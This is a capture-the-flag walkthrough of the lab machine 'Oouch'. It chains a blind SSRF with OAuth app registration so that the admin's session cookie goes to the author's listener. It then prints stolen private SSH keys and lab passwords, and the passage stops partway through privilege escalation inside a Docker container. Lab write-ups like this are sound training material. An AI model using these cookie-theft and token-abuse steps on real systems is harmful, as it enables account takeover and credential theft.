This page looks best with JavaScript enabled

Oouch

 ·  ☕ 13 min read  ·  ✍️ M4t35Z

Box Information

Name Oouch
IP 10.10.10.177
OS Linux
Points Hard(40)

Recon

I ran nmap to discover every open port and all the services running on these ports.

$ nmap -A -T4 -p- -oN recon/big.nmap 10.10.10.177
# Nmap 7.80 scan initiated Wed Mar 25 22:30:39 2020 as: nmap -A -T4 -p- -oN recon/big.nmap 10.10.10.177
WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.10.177
Host is up (0.044s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.44
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 30000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_  256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://10.10.10.177:5000/login?next=%2F
8000/tcp open  rtsp
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|     <h1>Bad Request (400)</h1>
|   RTSPRequest: 
|     RTSP/1.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|     <h1>Bad Request (400)</h1>
|   SIPOptions: 
|     SIP/2.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|_    <h1>Bad Request (400)</h1>
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=3/25%Time=5E7BCDAA%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex
SF:t/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</
SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Req
SF:uest\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1
SF:>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization
SF:\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth
SF:orization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 25 22:31:36 2020 -- 1 IP address (1 host up) scanned in 57.31 seconds
PORT SERVICE VERSION
21/tcp ftp vsftpd 2.0.8 or later
22/tcp ssh OpenSSH 7.9p1
5000/tcp http nginx 1.14.2
8000/tcp rtsp ?

ftp - TCP 21

I connected to the ftp server with anonymous authentication.

$ ftp 10.10.10.177
Connected to 10.10.10.177.
220 qtc's development server
Name (10.10.10.177:matesz): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

There was a file project.txt so I downloaded it to my local machine.

ftp> get project.txt
local: project.txt remote: project.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for project.txt (49 bytes).
226 Transfer complete.
49 bytes received in 0.00 secs (246.6575 kB/s)
ftp>

I exited the ftp shell and catted out project.txt.

$ cat project.txt
Flask -> Consumer
Django -> Authorization Server

http - TCP 5000

General site discovery

There is a login and a register page.

I quickly registered with asd:asd creds.

signup

When I hit Register I got an Internal Server Error

servererr

I also tried with longer creds(M4T35Z:123)

signup2

  • I got redirected to the login page and I used my creds to log in.

I got into /home!

homepage

On /profile the site mentions Connected-Accounts so maaybe I could connect accounts to this service.

profilepage

Finding a blind ssrf

There is also a Contact page (/contact) where I can send a message to the admin.

contactpage

I sent a link to my machine as a message while I was hosting a http server and I got a request!!

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I sent http://10.10.14.251/ayyo.html as the message.

And the python http server returned.

10.10.10.177 - - [01/Jul/2020 15:28:55] code 404, message File not found
10.10.10.177 - - [01/Jul/2020 15:28:55] "GET /ayyo.html HTTP/1.1" 404 -

I tried to host a python revshell(I know the website runs on Flask)

Directory / File fuzzing on the main page

I used gobuster in order to discover some files or directories on the server.

$ gobuster dir -u http://10.10.10.177:5000 -w /usr/share/seclists/Discovery/Web-Content/common.txt 
=============================================================== 
Gobuster v3.0.1 
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) 
=============================================================== 
[+] Url:            http://10.10.10.177:5000 
[+] Threads:        10 
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/common.txt 
[+] Status codes:   200,204,301,302,307,401,403 
[+] User Agent:     gobuster/3.0.1 
[+] Timeout:        10s 
=============================================================== 
2020/07/01 14:03:42 Starting gobuster 
=============================================================== 
/about (Status: 302) 
/contact (Status: 302) 
/documents (Status: 302) 
/home (Status: 302) 
/login (Status: 200) 
/logout (Status: 302) 
/oauth (Status: 302) 
/profile (Status: 302) 
/register (Status: 200) 
=============================================================== 
2020/07/01 14:04:11 Finished 
=============================================================== 
  • /oauth is interesting

oauthpage

  • To connect account: http://consumer.oouch.htb:5000/oauth/connect
  • If it’s already connected. Visit for login: http://consumer.oouch.htb:5000/oauth/login

I added this subdomain to my /etc/hosts file.

10.10.10.177 oouch.htb consumer.oouch.htb

Monitoring requests

I started burpsuite in order to catch all the requests being sent.

I clicked http://consumer.oouch.htb:5000/oauth/connect.

connect\_login

connect\_login\_zoomed

  • There is a new subdomain authorization.oouch.htb and it’s running on port 8000!

I added this to my /etc/hosts too.

10.10.10.177 oouch.htb consumer.oouch.htb authorization.oouch.htb

authorization\_server

  • It’s a simple authorization server based on OAuth2.
  • There’s a link for login: http://authorization.oouch.htb:8000/login/
  • And there’s also one for a register page: http://authorization.oouch.htb:8000/signup/

I registered. My creds: M4t35Z:M4t35Z@ayyo.com:4sdf12e4

And I also logged in.

auth\_server\_loggedin

I went back to http://consumer.oouch.htb:5000/oauth/connect.

I captured the authorize req in burp.

authreq

My oauth token code:

/oauth/connect/token?code=RyWmNpKYCYvpiG10JjrLMAz1ORyZjy

At the end I got redirected to the profile page and I can see my account is connected!

connectedacc

Directory / File fuzz on authorization.oouch.htb

I ran gobuster on /oauth.

$ gobuster dir -u http://authorization.oouch.htb:8000/oauth -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
/applications (Status: 301)
$ gobuster dir -u http://authorization.oouch.htb:8000/oauth -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
...
/register (Status: 301)
  • I got a lot of (random) numbers and /register!

/oauth/applications/register needs a username and a password:

auth\_registerpage

Gaining a user shell

Exploiting blind ssrf

Admin on consumer.oouch.htb

There was an ssrf on the contact page. Maybe I can make a use of it by sending the connection request there in order to connect my account to the admin account on the webserver.

  1. Make a new account(not connected) on both subdomains(consumer, authorization(DO NOT login there after the acc is created))
  • My creds: M4t35Z2:M4t35Z2@ayyo.com:4sdf12e4
  1. Go to http://consumer.oouch.htb:5000/oauth/connect and stop the request and copy the oauth token code.
  • My token: /oauth/connect/token?code=YhJaPdFvD8kPTwKBp3K3PgYBNp9fSe
  1. Send the oauth token code on the consumer/contact page and wait 1 minute until it gets executed.
  • The link I sent: http://consumer.oouch.htb:5000/oauth/connect/token?code=YhJaPdFvD8kPTwKBp3K3PgYBNp9fSe
  1. Go to login http://consumer.oouch.htb:5000/oauth/login and hit authorize!

I went back to the profile page and I got logged into the admin account with my own oauth token.

adminprofile

Exploring the page as the administrator

I have new content available (/documents):

documentspage

dev_access.txt develop:supermegasecureklarabubu123! -> Allows application registration.
o_auth_notes.txt api/get_user -> user data. oauth/authorize -> Now also supports GET method.
todo.txt Chris mentioned all users could obtain my ssh key. Must be a joke…
  • I got creds
  • I got an api endpoint api/get_user
  • I got an info about any1 can get qtc’s ssh key
USERNAME PASSWORD
develop supermegasecureklarabubu123!

Admin on authorization.oouch.htb

There was a login page on authorization.oouch.htb:8000/oauth/applications/register/ so I tried to log in with the new creds(develop:supermegasecureklarabubu123!).

Making an app

app\_registrationpage

  • I can register an app on this page.
  • There is a redirect uri option.

Let’s test the redirect uri if it’s my ip.

Name ayyo
Client id YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp
Client secret GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk
Client type (I chose Public) Public / Confidental
Authorization grant type (I chose Authorization code) Authorization code / Implicit / Resource owner password-based / Client credentials
Redirect uris http://10.10.14.251/

app\_regpage\_filled

I hit save and got this page:

apppage

http://authorization.oouch.htb:8000/oauth/applications/3/

  • My app’s id is 3
Testing if it works

https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/

https://docs.oracle.com/en/cloud/saas/marketing/eloqua-develop/Developers/GettingStarted/Authentication/authenticate-using-oauth.htm

https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow

https://github.com/topavankumarj/Vulnerable-OAuth2.0-Application

From microsoft’s docs:

// Line breaks for legibility only

https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
client_id=6731de76-14a6-49ae-97bc-6eba6914391e
&response_type=code
&redirect_uri=http%3A%2F%2Flocalhost%2Fmyapp%2F
&response_mode=query
&scope=openid%20offline_access%20https%3A%2F%2Fgraph.microsoft.com%2Fmail.read
&state=12345

So my url will be:

http://authorization.oouch.htb:8000/oauth/authorize?
client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp
&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk
&response_type=code
&redirect_uri=http://10.10.14.251/
&grant_type=authorization_code

In 1 line:

http://authorization.oouch.htb:8000/oauth/authorize?client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk&response_type=code&redirect_uri=http://10.10.14.251/&grant_type=authorization_code

I started an nc listener on port 80.

$ sudo nc -lvnp 80

I went to the url and hit Authorize.

redirect\_worked

  • It worked!!

So I have a working appurl that redirects the req to my local port 80. If I can execute it with the SSRF and the request returns to my terminal there could be a cookie for the logged in admin account.

I sent the link and I got the cookie on my terminal:

Cookie: sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b;

I went back to authorization.oouch.htb:8000/home/ and I changed my sessionid cookie to the admin’s one with a firefox extension(cookie editor). Then I hit F5 to reload the page with the new cookie.

admin\_on\_auth

  • It says I’m logged in as qtc!

Making use of api/get_user

On the consumer subdomain when I was logged in as qtc api/get_user got mentioned on the /documents page.

This endpoint is actually http://authorization.oouch.htb:8000/api/get_user

Getting qtc’s token code

I have a working ssrf and I can freely edit my oauth app to my needs.

I searched for oauth api/get_user in ddg and found this page: oauth.net/articles/authentication/.

From there I started exploring the main page and found www.oauth.com/oauth2-servers/access-tokens/client-credentials/.

POST /token HTTP/1.1
Host: authorization-server.com
 
grant_type=client_credentials
&client_id=xxxxxxxxxx
&client_secret=xxxxxxxxxx

If I’m logged into authorization.oouch.htb:8000/ I see /oauth/token endpoint is mentioned and the article talks about this too and If i change my app to use Client credentials instead of Authorization code I can get my token code wich is actually qtc’s token because I’m logged in as qtc on the authorization domain.

I changed my app(I used firefox containers because if I was logged in as qtc I wasn’t able to reach my app’s edit page):

Authorization grant type: Client credentials

editedapp

My req will be:

POST /token HTTP/1.1
Host: authorization-server.com
 
grant_type=client_credentials
&client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp
&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk

I made the request in burp repeater.

  1. I clicked on /oauth/token
  2. I sent the request to repeater
  3. I changed the request type to POST (RMB->change Request Method)
  4. I pasted my stuff
  5. I removed the linebreaks from the end of the lines
  6. I sent the request and GOT the ACCESS TOKEN!
{
    "access_token": "X66HhtrARTZaRzKAsccni43GhNSttK",
    "expires_in": 600, 
    "token_type": "Bearer", 
    "scope": "read write"
}

got\_access\_token

Curl alternative:

curl -X POST http://authorization.oouch.htb:8000/oauth/token/ \
-b 'sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b' \
-d 'grant_type=client_credentials&client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk'

Getting api/get_user working correctly

I have the access token so I went to authorization.oouch.htb:8000/api/get_user.
I captured this request and added the access_token parameter to it in repeater.

GET /api/get_user?access_token=X66HhtrARTZaRzKAsccni43GhNSttK

And the response was:

{"username": "qtc", "firstname": "", "lastname": "", "email": "qtc@nonexistend.nonono"}
  • the token is always changing btw

Curl alternative:

curl -X GET 'http://authorization.oouch.htb:8000/api/get_user?access_token=2bzoOY7syOTcOJu9K3r3yQ8vFWOaSv' \
-b 'sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b'

Guessing the ssh endpoint

I started guessing api endpoints for ssh and get_ssh worked!

GET /api/get_ssh?access_token=N528UPm4Kcp8pynlc31veW6Y8Ia7YU

The response was an ssh key:

sshkey

qtc_ssh_key:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Curl alternative:

curl -X GET 'http://authorization.oouch.htb:8000/api/get_ssh?access_token=2bzoOY7syOTcOJu9K3r3yQ8vFWOaSv' \
-b 'sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b'

SSH LOGIN

And I logged into ssh as qtc with this key.

$ chmod 600 files/qtc_ssh_key
$ ssh -i files/qtc_ssh_key qtc@10.10.10.177
  • It worked!

I was able to cat out the user.txt at this point.

$ cat /home/qtc/user.txt
4e89------------------------c174

Privilege Escalation

Enumeration as qtc

Manual findings

Firstly, I manually explored qtc’s home directory.

I found .note.txt.

qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?

I saved /home/qtc/.ssh/id_rsa from the box because it was different than the web one.

id_rsa_frombox:

-----BEGIN OPENSSH PRIVATE KEY----- 
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn 
NhAAAAAwEAAQAAAYEA2oh2lzXVMy8Z5ZhCNcvg1kUIxBCzQPhnCtbxEF5gBWJvX+hrm21r 
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO 
vLdWlHMCxG2usRfjxK0LohAQnYHB+NOXWDApbv2qXHDvqLoA/kKVjhYRzRPVTlh2Q9/vqE 
TSRUv2YIfCGTi1ND553pywvGStwq4rUXIcxtEBysYFf+rTD5psyCpNAJO4osWivIc67Snz 
zQiN0D3vJFxtSmJzKKPJmenNwg1Fnr5XQCvptYu65bjkTUcJ+q+CgBsHT9qlHbTEdrqOwj 
pdrebhrbmLQUa4QGXv0ut+3/1TK6z6vPtge3W/p3tap+Fsg/7D8X+K32Q8Jb1yenLXyjGF 
K1evXjLSCmolNxWBql03wGjm5haztPvk7wf2XB+IdtXnVTwp9hyeKR1BWWmAxFCndh6OtT 
dHIBlGFlnPpnAqAsciy0mjiQL9r7YxK1fWJMixljAAAFiA2O9SwNjvUsAAAAB3NzaC1yc2 
EAAAGBANqIdpc11TMvGeWYQjXL4NZFCMQQs0D4ZwrW8RBeYAVib1/oa5tta92S3pCSC9ZO 
+HsWcszlTix18o8W/qY1lnAdn2c3EHiBH7kHkQY4jNf4P64OZ1t7ev4wTwTry3VpRzAsRt 
rrEX48StC6IQEJ2BwfjTl1gwKW79qlxw76i6AP5ClY4WEc0T1U5YdkPf76hE0kVL9mCHwh 
k4tTQ+ed6csLxkrcKuK1FyHMbRAcrGBX/q0w+abMgqTQCTuKLForyHOu0p880IjdA97yRc 
bUpicyijyZnpzcINRZ6+V0Ar6bWLuuW45E1HCfqvgoAbB0/apR20xHa6jsI6Xa3m4a25i0 
FGuEBl79Lrft/9Uyus+rz7YHt1v6d7WqfhbIP+w/F/it9kPCW9cnpy18oxhStXr14y0gpq 
JTcVgapdN8Bo5uYWs7T75O8H9lwfiHbV51U8KfYcnikdQVlpgMRQp3YejrU3RyAZRhZZz6 
ZwKgLHIstJo4kC/a+2MStX1iTIsZYwAAAAMBAAEAAAGAHPvEXsGxCRzSHnVXMrNbmo+FXh 
uo6pEHeZSQXE9oBM7NXrcArpiQmc6E3j/Aeif3JLwRdcNj3tm11eyC0aCB11TWc2YGNTVK 
88thHKYbZ/lw2LDoXGXAJj5Z/JkZXvUbj/QPYbGTnF56vbwx7GVV2EUHAfvn6EwEe8dI41 
+vbQcuh51WJv8fcTb1SkOtRUgMi/6pjskFjxEU9IGSnAGBpIBnSD5zIaZK7xyhymVDJ3QE 
Pwwj0E+HdDxzPQZSY5MywAOV6Zjnp+xmH/f4mCoZD5pvrS37IUCxn/YfyS+mbX/d7ktr3N 
5oW2AqmefgxeoLi4sOuG0QKTB9m/SSszgdQIResrjyUZ8zT2fit3uTF3PiJ0vMpePR1Mir 
iV/0I/mAj/ltbV8Rw8Y8xfRtbwWdwo93pVq2OwnFBwjn9S33cctB11xzV5kalbs8wHBilF 
YANrxNwOPlmQLHml1hD155y8+R8pfjGqDV+rkVjnRr8zpbZ620LqI5t1FyxlSs0U/BAAAA 
wFZ9hd5CMep215pK70sm40vcdm5A0oouxcUA7eJ5uHlsSN7R04yGsv8ljZz+2JXUFtu5kQ 
bpDsSZuwN9svPwnqSF/21wO+3Tz/ohGR1j5wolcF54Kh0P5f/HoLlnJLMZvI+k3FRFPfaF 
MYNp/Fvyj+Bi05nPgqb/yGQNx4veLGN0el0ffPqpquP+deljnU5jrwA/BUonh9tX9P/yP9 
TO/iH8RPOjJFMgh1zXNElNWCitEuOBU855xXnedqGBhpea2gAAAMEA8cgPi7OuyBWcQIj8 
FK4GVupY6k6PfulC/WAca3xKIy0QTUCJrv1j6HRhYej8+ckVMOw9v4m8EZEGOkc7MYkQLT 
w2KgrCR4pDIoYjq/sBr6b6FKudSLM3Rw/c8vHnczsQYCRdNdX4duT/j2uloIshKE+3trBt 
PKYzWul3Yalo+o3eu1yaCcdkOybD+Jm9uxf6KjB7Zpu9Mxxx67DyIGlLJVIHMOWPotuM9F 
IZ9bPoRtHCFy0pqhQzWK9Mj5u3AQY5AAAAwQDnYme9N1XM6WQxBbjncHRo3C69r8bsHtex 
wWMcrd2u62nTWhUD2dc1kbk1kcJzrDfy5lCEgCwMrMrSmIHnEyKysfir++LSuKLRgyEZIM 
rTPL8nIkJQ/ykWhtP5NIxtxoRuL26tqI4sxw51n1Jsu8aBJc9t4vudDBOr9uU5N619LZGS 
WZ+OOm+sVgJ8a2rvGVuTlngzZb2/PTgUAAnZsXTTlKbLrq17IEbS3F1SX0uaBzmb3qMREv 
5sUAcJH6xV/HsAAAAOcGVudGVzdGVyQGthbGkBAgMEBQ== 
-----END OPENSSH PRIVATE KEY----- 

Linpeas

Processes:

root      3112  0.0  1.2 1186204 50132 ?       Ssl  06:35   0:12 /usr/bin/containerd
root      3113  0.0  2.5 1349472 103456 ?      Ssl  06:35   0:15 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root      3595  0.0  0.1 548976  7700 ?        Sl   06:36   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.18.0.2 -container-port 5000
root      3621  0.0  0.2 548720  9688 ?        Sl   06:36   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8000 -container-ip 172.18.0.4 -container-port 8000
www-data  4199  0.0  1.2  70904 49096 ?        S    06:36   0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
  • Docker is running.
  • Docker’s ip range is 172.18.0.x
  • uwsgi is running as www-data

Network:

3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:39:35:6d:ea brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:9a:d3:bf:67 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:9aff:fed3:bf67/64 scope link
       valid_lft forever preferred_lft forever

172.18.0.4 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:04 DELAY
172.18.0.2 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:02 DELAY
  • the host’s docker ip is 172.17.0.1
  • the addresses of the containers are 172.18.0.x

SSH into a docker container

Discovering docker hosts

I made a 1 liner to check if a host is up (0) or down (1):

qtc@oouch:/dev/shm$ i=0; while [ $i -le 10 ]; do ping -c 1 172.18.0.$i >/dev/null ; echo 172.18.0.$i: $?; i=$((i + 1));done
Do you want to ping broadcast? Then -b. If not, check your local firewall rules.
172.18.0.0: 2
172.18.0.1: 0
172.18.0.2: 0
172.18.0.3: 0
172.18.0.4: 0
172.18.0.5: 0
172.18.0.6: 1
172.18.0.7: 1
172.18.0.8: 1
172.18.0.9: 1
172.18.0.10: 1

Btw If u want the script in a file:

1
2
3
4
5
6
7
8
9
#!/bin/sh

i=0
while [ $i -le 10 ]
do 
	ping -c 1 172.18.0.$i >/dev/null
	echo 172.18.0.$i: $?
	i=$((i + 1))
done
  • it returns the same

Available hosts are:

  • 172.18.0.1
  • 172.18.0.2
  • 172.18.0.3
  • 172.18.0.4
  • 172.18.0.5

Connecting to a docker host

I used ssh and the key I found in /home/qtc/.ssh/id_rsa.

I was able to log into 1 host (172.18.0.2) with this key!

$ ssh -i /home/qtc/.ssh/id_rsa qtc@172.18.0.2
Enumeration of the docker container

There is a directory /code which contained files owned by root.

qtc@aeb4525789d8:/code$ ls -l
total 44
-rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
-r-------- 1 root root  568 Feb 11 17:34 authorized_keys
-rw-r--r-- 1 root root  325 Feb 11 17:34 config.py
-rw-r--r-- 1 root root   23 Feb 11 17:34 consumer.py
-r-------- 1 root root 2602 Feb 11 17:34 key
drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
-rw-r--r-- 1 root root  724 Feb 11 17:34 nginx.conf
drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
-rw-r--r-- 1 root root  241 Feb 11 17:34 requirements.txt
-rwxr-xr-x 1 root root   89 Feb 11 17:34 start.sh
-rw-rw-rw- 1 root root    0 Jul  2 15:39 urls.txt
-rw-r--r-- 1 root root  163 Feb 11 17:34 uwsgi.ini

Interesting contents:

config.py:

SQLALCHEMY_DATABASE_URI = 'mysql://qtc:clarabibi2019!@database.consumer.oouch.htb/Consumer'
SECRET_KEY = os.environ.get('SECRET_KEY') or 'klarabubuklarabubuklarabubuklarabubu'
$ cat uwsgi.ini
[uwsgi]
module = oouch:app
uid = www-data
